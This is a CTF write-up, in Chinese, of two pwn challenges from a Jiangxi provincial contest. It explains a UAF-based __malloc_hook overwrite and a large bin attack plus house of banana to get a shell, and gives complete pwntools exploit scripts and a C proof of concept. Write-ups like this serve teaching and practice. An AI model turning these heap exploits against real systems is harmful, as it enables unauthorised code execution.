江西省第四届省赛(pwn部分)

  1. 1. 江西省第四届省赛(pwn部分)
    1. 1.1. 写在前面
    2. 1.2. Slag_man_notes
      1. 1.2.1. 题目分析
      2. 1.2.2. 思路
      3. 1.2.3. exp
    3. 1.3. bookstore
      1. 1.3.1. 题目分析
      2. 1.3.2. 思路
      3. 1.3.3. poc
      4. 1.3.4. exp

江西省第四届省赛(pwn部分)

写在前面

今天打了一场省赛,个人感觉不是很好,pwn题比赛开始不给附件,就给了一个ip和端口,盲打了半个小时,才给附件,还不给通知,偷偷摸摸放了个附件,还是队友提醒我,不然盲打一天。多多少少不太行,这次比赛给我的印象不太好,不过题目质量还行,可惜状态不太好,第一个pwn比赛结束才出,希望下次能办好一点😒。

Slag_man_notes

题目分析

题目附件

image-20210927230312012

基本功能都有,存在漏洞uaf,主要是add申请堆块的时候会将堆块限制成固定大小,但是还有一个add可以申请0x60的堆块。

思路

申请一个0x190的堆块,然后释放,leak基地址。

image-20210927231222618

通过申请0x60的堆块,将释放的堆块指针指向的堆块切割成0x71大小的堆块

image-20210927231419291

然后就可以用该堆块配合uafmalloc hookone_gadget,然后触发one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# coding=utf-8

from pwn import *

ip = "49.233.13.133"
port = 53402
#io = remote(ip,port)
io = process('./Slag_man_notes')
elf = ELF('./Slag_man_notes')
# libc = elf.libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug', os='linux', arch='amd64')
context.terminal = ['terminator','-x','sh','-c']

def choice(c):
io.recvuntil(":")
io.sendline(str(c))


def add(size, content):
choice(1)
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.send(content)


def edit(index, content):
choice(3)
io.recvuntil(":")
io.sendline(str(index))
io.recvuntil(":")
io.sendline(str(len(content)))
io.recvuntil(":")
io.send(content)


def show(index):
choice(2)
io.recvuntil(":")
io.sendline(str(index))


def free(index):
choice(4)
io.recvuntil(":")
io.sendline(str(index))

def fake(content):
choice(6)
io.recvuntil("?")
io.send(content)


add(0x100, 'AAAA')#0
add(0x100, 'AAAA')#1
add(0x100, 'AAAA')#2


free(0)
edit(0, 'AAAAAAAA')
show(0)

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak - 88 - 0x10 - libc.sym['__malloc_hook']
malloc_hook = leak - 88 - 0x10
success(hex(libc_base))
success(hex(malloc_hook))
one = 0xf03a4 + libc_base
edit(0,p64(leak))

fake('AAAA')
gdb.attach(io)
free(0)
edit(0,p64(malloc_hook-0x20-3))
fake('A'*0x13 + p64(one))
fake('A'*0x13 + p64(one))
free(0)
free(0)
io.interactive()

bookstore

题目分析

image-20210927232354023

image-20210927232410914

有菜单的基本功能,但是申请堆块限制了次数,释放堆块也申请了次数,只够我们leak地址,没有写的机会,卡的死死的,当时肝了这题好一会,可惜没干出来,状态不是很好。

思路

这个题目应该有两种解题方法,一个是伪造io file结构体来打,还有一种就是我用的方法(house of banana),一开始本来是打算用io file结构体来打的,远程的环境有点给我整破防了,没调明白。后来没办法尝试house of banana,结果就通了,后来总结了下,这个好像是万精油,只要能申请large bin范围大小的堆块就可以尝试用这种方法,配合uaf效果更好

附上poc,可以自己调调看

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}

int main() {
puts("house of banana's poc");
size_t libc_base = 0x7ffff7dc1000;
size_t _rtld_global_ptr_addr = 0x7ffff7ffd060;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);

free(ptr0);
//put ptr9 into large bin
malloc(0x500);
free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin
//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr

//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];
//the chain's length must >= 4
//
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;

fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[2+5] = &fake_rtld_global[2];

fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[3+5] = &fake_rtld_global[3];

fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];


//fake a fini_array segment
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len


fake_rtld_global[0x30] = 0x1A;
fake_rtld_global[0x31] = 0;
fake_rtld_global[-2] = &fake_rtld_global[0x32];

//funcs
fake_rtld_global[0x32] = backdoor;
fake_rtld_global[0x61] = 0x800000000;
}

这个是我自己调好的exp,可以参考大佬博客:https://www.anquanke.com/post/id/222948?display=mobile

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
context.arch='amd64'
binary = './bookstore'
main_arena = 0x1ebb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote('49.233.13.133',53200)
elf=ELF(binary)
libc = elf.libc
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc-2.31.so")
def add(size,content='a',content1='a'):
ru("choice:")
sl('1')
ru("Size:")
sl(str(size))
ru("Content:")
sl(content)
ru('Remark:')
sl(content1)

def add1(size):
ru("choice:")
sl('1')
ru("Size:")
sl(str(size))


def edit(index,content,content1):
ru("choice:")
sl('3')
ru('Index:')
sl(str(index))
ru("Content:")
s(content)
ru('Remark:')
s(content1)

def show(index):
ru("choice:")
sl('4')
ru("Index:")
sl(str(index))

def free(index):
ru("choice:")
sl('2')
ru("Index:")
sl(str(index))
add(0x517)#0

add(0x500)#1


free(0)

show(0)
leak = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1BEBE0#- 96 -main_arena
#libc = LibcSearcher('__malloc_hook', leak)
libc_base = leak #libc.sym['__malloc_hook']
fh = libc.sym['__free_hook'] + libc_base
mh = libc.sym['__malloc_hook'] + libc_base
system = libc.sym['system'] + libc_base
chain = libc.sym['_IO_2_1_stderr_'] + libc_base + 96+8
su('libc_base',libc_base)

#add1(0x510)

#free(0)
add1(0x600)

free(1)
rtl_global = libc_base +0x20d060#2175072#0x240060

edit(0,p64(0)*3+p64(rtl_global-0x20),b'a')
gdb.attach(io)
add1(0x600)#large bin attack!!

show(0)

ru("Content: \n")
chunk = u64(r(6).ljust(8,b'\x00'))
success(hex(chunk))


#large bin attack!!
add1(0x500)
#free(0)
edit(0,p64(0)*3+p64(chunk-0x20),b'a')
free(1)

add1(0x600)#large bin attack!!

#large bin attack!!
add1(0x500)
#free(0)
edit(0,p64(0)*3+p64(rtl_global-0x20),b'a')
free(1)

add1(0x600)#large bin attack!!


#house of banana

set_context = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + libc.sym['setcontext'] + 127#next(libc.search(asm('ret')))
pop_rdi = libc_base + next(libc.search(asm('pop rdx\nret')))
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
system_addr = libc_base + libc.sym['system']

payload = p64(0) + p64(rtl_global+0x16e0) + p64(0) + p64(chunk)#chunk
payload += p64(set_context) + p64(ret)


payload += b'\x00'*0x60
payload += p64(binsh_addr)
payload += p64(0)
#payload += p64(system_addr)
payload += b'\x00'*0x30

#payload += p64(chunk + 0x960 + 0x28 + 0x18)

payload += p64(system_addr)
payload = payload.ljust(0x100,b'\x00')
payload += p64(chunk+0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,b'\x00')
payload += p8(0x8) + b'\x00'*4

edit(1,payload,b'a')
pay = b'a'*0x510+p64(chunk+0x20)
edit(0,b'a',pay[:-1])
ru("choice:")
sl('5')
shell()